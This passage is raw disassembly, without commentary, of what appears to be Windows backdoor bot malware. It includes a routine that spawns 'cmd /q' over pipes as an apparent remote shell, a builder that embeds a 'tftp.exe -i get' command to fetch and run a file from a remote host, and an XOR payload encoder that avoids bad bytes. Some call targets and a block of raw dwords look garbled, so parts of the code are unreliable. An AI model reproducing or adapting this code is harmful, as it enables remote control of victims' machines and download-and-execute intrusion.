-10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_416717 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_4407FC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4240A0 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4168E9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_416631 call near ptr 26702AAh nop push eax push offset dword_433914 call sub_40BFE1 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41666B ; --------------------------------------------------------------------------- loc_416631: ; CODE XREF: sub_4165C6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_41699B lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_416672 nop call near ptr 26702AAh push eax push offset dword_433914 call sub_40BFE1 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 28009ACh loc_41666B: ; CODE XREF: sub_4165C6+69j xor eax, eax jmp loc_416712 ; --------------------------------------------------------------------------- loc_416672: ; CODE XREF: sub_4165C6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 2810AC9h sub eax, ebx jz short loc_4166CC dec eax jz short loc_4166C6 dec eax jz short loc_4166B2 nop call near ptr 26702AAh push eax push offset dword_4338D0 call sub_40BFE1 pop ecx pop ecx jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166B2: ; CODE XREF: sub_4165C6+D5j mov edi, dword_424168 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166C6: ; CODE XREF: sub_4165C6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4166D0 ; --------------------------------------------------------------------------- loc_4166CC: ; CODE XREF: sub_4165C6+CFj push ebx push dword ptr [esi+14h] loc_4166D0: ; CODE XREF: sub_4165C6+104j call near ptr 28009ACh nop push 1 push dword ptr [esi+8] nop call near ptr 2800C91h loc_4166E1: ; CODE XREF: sub_4165C6+EAj ; sub_4165C6+FEj push dword ptr [esi+10h] mov edi, dword_424078 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_43AE30 push esi call sub_417C3B pop ecx push 1 pop eax loc_416712: ; CODE XREF: sub_4165C6+A7j pop edi pop esi pop ebx leave retn sub_4165C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416717 proc near ; CODE XREF: sub_4165C6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_417B89 mov esi, eax pop ecx cmp esi, edi jz loc_416801 mov ebx, dword_424140 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_424078 test eax, eax jnz short loc_41677A nop call near ptr 26702AAh push eax push offset dword_4339F4 jmp short loc_41679A ; --------------------------------------------------------------------------- loc_41677A: ; CODE XREF: sub_416717+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4167A2 call near ptr 26702AAh nop push eax push offset dword_4339A4 loc_41679A: ; CODE XREF: sub_416717+61j call sub_40BFE1 pop ecx jmp short loc_4167D0 ; --------------------------------------------------------------------------- loc_4167A2: ; CODE XREF: sub_416717+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_416810 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_416805 push offset dword_43396C call sub_40BF6D loc_4167D0: ; CODE XREF: sub_416717+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4167DC push [ebp+var_4] call edi loc_4167DC: ; CODE XREF: sub_416717+BEj cmp [ebp+var_8], 0 jz short loc_4167E7 push [ebp+var_8] call edi loc_4167E7: ; CODE XREF: sub_416717+C9j mov eax, [esi] test eax, eax jz short loc_4167F0 push eax call edi loc_4167F0: ; CODE XREF: sub_416717+D4j mov eax, [esi+4] test eax, eax jz short loc_4167FA push eax call edi loc_4167FA: ; CODE XREF: sub_416717+DEj push esi call sub_417C3B pop ecx loc_416801: ; CODE XREF: sub_416717+1Dj xor eax, eax jmp short loc_41680B ; --------------------------------------------------------------------------- loc_416805: ; CODE XREF: sub_416717+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41680B: ; CODE XREF: sub_416717+ECj pop edi pop esi pop ebx leave retn sub_416717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416810 proc near ; CODE XREF: sub_416717+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_417330 push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_42413C push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call near ptr 27A066Dh nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2780514h test eax, eax jz short loc_4168CC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_4407F8[eax], ecx call near ptr 265089Dh nop jmp short loc_4168E2 ; --------------------------------------------------------------------------- loc_4168CC: ; CODE XREF: sub_416810+9Aj nop call near ptr 26702AAh push eax push offset dword_433A44 call sub_40BFE1 mov esi, [ebp+var_4] pop ecx pop ecx loc_4168E2: ; CODE XREF: sub_416810+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_416810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168E9 proc near ; DATA XREF: sub_4165C6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_424074 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_416912: ; CODE XREF: sub_4168E9+8Fj call ebx test eax, eax jz short loc_41697A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41694D loc_416923: ; CODE XREF: sub_4168E9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41693D cmp dl, 0Dh jz short loc_41693D mov [ebp+eax+var_1B0], 0Dh inc eax loc_41693D: ; CODE XREF: sub_4168E9+44j ; sub_4168E9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_416923 loc_41694D: ; CODE XREF: sub_4168E9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_43ADE8 test eax, eax jle short loc_41697A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_416912 ; --------------------------------------------------------------------------- loc_41697A: ; CODE XREF: sub_4168E9+2Dj ; sub_4168E9+79j mov esi, dword_42408C call esi cmp eax, 6Dh jz short loc_416996 call esi push eax push offset dword_433A90 call sub_40BFE1 pop ecx pop ecx loc_416996: ; CODE XREF: sub_4168E9+9Cj pop edi pop esi pop ebx leave retn sub_4168E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41699B proc near ; DATA XREF: sub_4165C6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4169B4: ; CODE XREF: sub_41699B+39j ; sub_41699B+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_43ADB0 test eax, eax jle loc_416AB9 cmp [ebp+var_10], ebx jbe short loc_4169D6 dec [ebp+var_10] jmp short loc_4169B4 ; --------------------------------------------------------------------------- loc_4169D6: ; CODE XREF: sub_41699B+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_416A99 cmp al, 8 mov [ebp+var_C], ebx jz short loc_416A46 cmp al, 7Fh jz short loc_416A46 cmp al, 3 jnz short loc_416A01 push ebx push ebx nop call near ptr 2810BCAh jmp short loc_416A6D ; --------------------------------------------------------------------------- loc_416A01: ; CODE XREF: sub_41699B+5Aj cmp al, 15h jnz short loc_416A23 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A23: ; CODE XREF: sub_41699B+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_416A5A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A46: ; CODE XREF: sub_41699B+52j ; sub_41699B+56j cmp esi, ebx jbe short loc_416A70 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_416A59: ; CODE XREF: sub_41699B+86j ; sub_41699B+A9j pop ecx loc_416A5A: ; CODE XREF: sub_41699B+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_43ADE8 test eax, eax jle short loc_416AB9 loc_416A6D: ; CODE XREF: sub_41699B+64j mov al, byte ptr [ebp+arg_0+3] loc_416A70: ; CODE XREF: sub_41699B+ADj cmp al, 0Dh jnz loc_4169B4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 2660000h nop test eax, eax jz short loc_416AB9 xor esi, esi jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416A99: ; CODE XREF: sub_41699B+47j cmp [ebp+var_C], ebx jnz short loc_416AAA mov [ebp+var_C], 1 jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AAA: ; CODE XREF: sub_41699B+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AB9: ; CODE XREF: sub_41699B+2Bj ; sub_41699B+D0j ... pop edi pop esi pop ebx leave retn sub_41699B endp ; =============== S U B R O U T I N E ======================================= sub_416ABE proc near ; CODE XREF: sub_416ADE+Ap ; sub_416BB6+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_417AB0 push [esp+8+arg_4] mov esi, eax call sub_417AB0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_416ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ADE proc near ; CODE XREF: sub_416BCD+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_416ABE cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_416AFB xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_416AFB: ; CODE XREF: sub_416ADE+17j push ebx push esi push edi push [ebp+arg_8] call sub_417AB0 push [ebp+arg_C] mov esi, eax call sub_417AB0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_433B70, eax lea eax, [edi+1] mov dword_433B91, eax lea eax, [edi+17h] mov dword_433B89, eax pop eax push 74h sub eax, edi push offset dword_433B0C push ebx mov dword_433B9F, eax call sub_417390 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_417390 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_417390 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_417390 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_417390 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_417390 add esi, edi push 38h add esi, ebx push offset byte_433B95 push esi call sub_417390 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_416ADE endp ; =============== S U B R O U T I N E ======================================= sub_416BB6 proc near ; CODE XREF: sub_416BCD+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_416ABE push eax call sub_416C3A add esp, 0Ch retn sub_416BB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BCD proc near ; CODE XREF: sub_402B84+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_416BB6 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_416BED cmp eax, 0FFFFh jbe short loc_416BF1 loc_416BED: ; CODE XREF: sub_416BCD+17j xor eax, eax jmp short loc_416C36 ; --------------------------------------------------------------------------- loc_416BF1: ; CODE XREF: sub_416BCD+1Ej push esi push edi push ebx call sub_416ABE add eax, 101h push eax call sub_417B89 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_416ABE pop ecx pop ecx push eax push esi call sub_416ADE push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_416C55 push esi mov edi, eax call sub_417C3B add esp, 24h mov eax, edi pop esi loc_416C36: ; CODE XREF: sub_416BCD+22j pop edi pop ebx pop ebp retn sub_416BCD endp ; =============== S U B R O U T I N E ======================================= sub_416C3A proc near ; CODE XREF: sub_416BB6+Ep ; sub_416C55+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_416C43 inc ecx loc_416C43: ; CODE XREF: sub_416C3A+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_416C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C55 proc near ; CODE XREF: sub_416BCD+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_416C71 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0 jnz short loc_416C74 loc_416C71: ; CODE XREF: sub_416C55+8j ; sub_416C55+Ej ... inc [ebp+arg_C] loc_416C74: ; CODE XREF: sub_416C55+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_416C9C mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_416C95 cmp al, 0Dh jz short loc_416C95 cmp al, 5Ch jz short loc_416C95 test al, al jnz short loc_416C9C loc_416C95: ; CODE XREF: sub_416C55+32j ; sub_416C55+36j ... add [ebp+arg_C], 100h loc_416C9C: ; CODE XREF: sub_416C55+28j ; sub_416C55+3Ej push [ebp+arg_C] call sub_416C3A cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_416CB4 cmp eax, 0FFFFh jbe short loc_416CBB loc_416CB4: ; CODE XREF: sub_416C55+56j xor eax, eax jmp loc_416D59 ; --------------------------------------------------------------------------- loc_416CBB: ; CODE XREF: sub_416C55+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CD988 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_416CEB loc_416CCF: ; CODE XREF: sub_416C55+94j mov al, [edx+edi] xor al, bl jz short loc_416CE2 cmp al, 0Ah jz short loc_416CE2 cmp al, 0Dh jz short loc_416CE2 cmp al, 5Ch jnz short loc_416CE6 loc_416CE2: ; CODE XREF: sub_416C55+7Fj ; sub_416C55+83j ... inc bl xor edx, edx loc_416CE6: ; CODE XREF: sub_416C55+8Bj inc edx cmp edx, ecx jb short loc_416CCF loc_416CEB: ; CODE XREF: sub_416C55+78j cmp ecx, esi mov byte_4CD988, bl ja short loc_416D17 push 15h push offset loc_433AF4 push [ebp+arg_0] mov byte_433B01, cl mov byte_433B05, bl call sub_417390 add esp, 0Ch push 15h jmp short loc_416D38 ; --------------------------------------------------------------------------- loc_416D17: ; CODE XREF: sub_416C55+9Ej push 17h push offset loc_433ADC push [ebp+arg_0] mov word_433AEA, cx mov byte_433AEF, bl call sub_417390 add esp, 0Ch push 17h loc_416D38: ; CODE XREF: sub_416C55+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_416D54 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_416D46: ; CODE XREF: sub_416C55+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_416D46 loc_416D54: ; CODE XREF: sub_416C55+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_416D59: ; CODE XREF: sub_416C55+61j pop esi leave retn sub_416C55 endp ; =============== S U B R O U T I N E ======================================= sub_416D5C proc near ; CODE XREF: sub_4060D0+227p ; sub_407252+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_4405F0 loc_416D64: ; CODE XREF: sub_416D5C+18j cmp byte ptr [eax], 0 jz short loc_416D78 add eax, 234h inc edi cmp eax, offset dword_4CD5F0 jl short loc_416D64 jmp short loc_416DC3 ; --------------------------------------------------------------------------- loc_416D78: ; CODE XREF: sub_416D5C+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_4405F0[esi] push eax call sub_418C10 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_4407F0[esi], eax and dword_4407F4[esi], 0 mov eax, [esp+8+arg_8] and dword_4407F8[esi], 0 mov dword_4407FC[esi], eax and byte_440808[esi], 0 pop esi loc_416DC3: ; CODE XREF: sub_416D5C+1Aj mov eax, edi pop edi retn sub_416D5C endp ; --------------------------------------------------------------------------- byte_416DC7 db 55h ; DATA XREF: sub_40EE72+5C01o dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh dd 26Ch, 6A14C483h, 47E89000h, 5F021F9Bh, 0EC8B555Eh, 200EC81h dd 57560000h, 75FF006Ah, 3BD06810h, 75FF0043h, 875FF0Ch dd 0FF6840E8h, 14C483FFh, 0F0BEFF33h, 80004405h, 3C74003Eh dd 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h, 68FFFFFEh dd 43254Ch, 446E850h, 16A0000h, 0FE00858Dh, 75FFFFFFh dd 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh, 234C681h dd 81470000h, 4CD5F0FEh, 5FB07C00h ; --------------------------------------------------------------------------- pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_416E97 proc near ; CODE XREF: sub_40EE72+4DD9p ; sub_416F25+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_416F1F cmp esi, 400h jge short loc_416F1F imul esi, 234h push edi push ebx push dword_440804[esi] lea edi, dword_440804[esi] nop call near ptr 28009ACh cmp [edi], ebx jz short loc_416ECF push 1 pop ebp loc_416ECF: ; CODE XREF: sub_416E97+33j mov [edi], ebx lea edi, dword_4407F8[esi] mov dword_4407F0[esi], ebx mov dword_4407F4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_416EF0 push eax call sub_415419 pop ecx loc_416EF0: ; CODE XREF: sub_416E97+50j mov [edi], ebx lea edi, dword_4407FC[esi] mov byte ptr dword_4405F0[esi], bl mov byte_440808[esi], bl push dword ptr [edi] call dword_43AE30 lea esi, dword_440800[esi] mov [edi], ebx push dword ptr [esi] call dword_43AE30 mov [esi], ebx pop edi loc_416F1F: ; CODE XREF: sub_416E97+Dj ; sub_416E97+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_416E97 endp ; =============== S U B R O U T I N E ======================================= sub_416F25 proc near ; CODE XREF: sub_40AC42:loc_40AC66p ; sub_40D3A5+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_4405F0 loc_416F31: ; CODE XREF: sub_416F25+2Aj cmp byte ptr [esi], 0 jz short loc_416F42 push edi call sub_416E97 test eax, eax pop ecx jz short loc_416F42 inc ebx loc_416F42: ; CODE XREF: sub_416F25+Fj ; sub_416F25+1Aj add esi, 234h inc edi cmp esi, offset dword_4CD5F0 jl short loc_416F31 pop edi mov eax, ebx pop esi pop ebx retn sub_416F25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F57 proc near ; CODE XREF: sub_40EE72+1E3Dp ; sub_40EE72+1EABp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4407F4 loc_416F6B: ; CODE XREF: sub_416F57+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_416F8D test edi, edi jle short loc_416F7F cmp [esi], edi jz short loc_416F7F cmp ebx, edi jnz short loc_416F8D loc_416F7F: ; CODE XREF: sub_416F57+1Ej ; sub_416F57+22j push ebx call sub_416E97 test eax, eax pop ecx jz short loc_416F8D inc [ebp+var_4] loc_416F8D: ; CODE XREF: sub_416F57+1Aj ; sub_416F57+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CD7F4 jl short loc_416F6B mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_416F57 endp ; =============== S U B R O U T I N E ======================================= sub_416FA4 proc near ; CODE XREF: sub_4071DB+Bp ; sub_407252+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4407F0 loc_416FAB: ; CODE XREF: sub_416FA4+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_416FB4 inc eax loc_416FB4: ; CODE XREF: sub_416FA4+Dj add ecx, 234h cmp ecx, offset dword_4CD7F0 jl short loc_416FAB retn sub_416FA4 endp ; =============== S U B R O U T I N E ======================================= sub_416FC3 proc near ; CODE XREF: sub_40EE72+5698p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_4407F0 loc_416FCD: ; CODE XREF: sub_416FC3+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_416FE6 add ecx, 234h inc edx cmp ecx, offset dword_4CD7F0 jl short loc_416FCD pop esi retn ; --------------------------------------------------------------------------- loc_416FE6: ; CODE XREF: sub_416FC3+10j mov eax, edx pop esi retn sub_416FC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FEA proc near ; CODE XREF: sub_40EE72+1070p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_417003 push [ebp+arg_1C] call sub_41781F pop ecx loc_417003: ; CODE XREF: sub_416FEA+Ej push eax push [ebp+arg_18] call sub_416F57 pop ecx test eax, eax pop ecx jle short loc_41702F push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4172B0 add esp, 14h jmp short loc_417049 ; --------------------------------------------------------------------------- loc_41702F: ; CODE XREF: sub_416FEA+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4172B0 add esp, 10h loc_417049: ; CODE XREF: sub_416FEA+43j cmp [ebp+arg_C], 0 jnz short loc_417069 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_417069: ; CODE XREF: sub_416FEA+63j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx leave retn sub_416FEA endp ; =============== S U B R O U T I N E ======================================= sub_417078 proc near ; CODE XREF: sub_401000+A5p ; sub_40144A+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_440804[eax], ecx mov dword_4407F0[eax], ecx mov dword_4407F4[eax], ecx mov dword_4407F8[eax], ecx mov dword_4407FC[eax], ecx mov dword_440800[eax], ecx mov byte ptr dword_4405F0[eax], cl mov byte_440808[eax], cl retn sub_417078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170B5 proc near ; CODE XREF: sub_40EE72+6189p ; sub_4171E3+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4170BF: ; CODE XREF: sub_4170B5+68j mov cl, [esi] test cl, cl jz short loc_41711F cmp eax, 1 jnz short loc_41711F mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41711F cmp cl, 2Ah jz short loc_417106 cmp cl, 3Fh jz short loc_4170E9 cmp cl, 5Bh jz short loc_4170EE xor eax, eax cmp cl, dl setz al loc_4170E9: ; CODE XREF: sub_4170B5+26j inc [ebp+arg_4] jmp short loc_417119 ; --------------------------------------------------------------------------- loc_4170EE: ; CODE XREF: sub_4170B5+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_41714B mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_417119 ; --------------------------------------------------------------------------- loc_417106: ; CODE XREF: sub_4170B5+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4171E3 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_417119: ; CODE XREF: sub_4170B5+37j ; sub_4170B5+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4170BF ; --------------------------------------------------------------------------- loc_41711F: ; CODE XREF: sub_4170B5+Ej ; sub_4170B5+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41712F cmp eax, 1 jnz short loc_417146 inc esi mov [ebp+arg_0], esi jmp short loc_41711F ; --------------------------------------------------------------------------- loc_41712F: ; CODE XREF: sub_4170B5+6Dj cmp eax, 1 jnz short loc_417146 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_417146 cmp byte ptr [esi], 0 jnz short loc_417146 push 1 pop eax jmp short loc_417148 ; --------------------------------------------------------------------------- loc_417146: ; CODE XREF: sub_4170B5+72j ; sub_4170B5+7Dj ... xor eax, eax loc_417148: ; CODE XREF: sub_4170B5+8Fj pop esi pop ebp retn sub_4170B5 endp ; =============== S U B R O U T I N E ======================================= ; 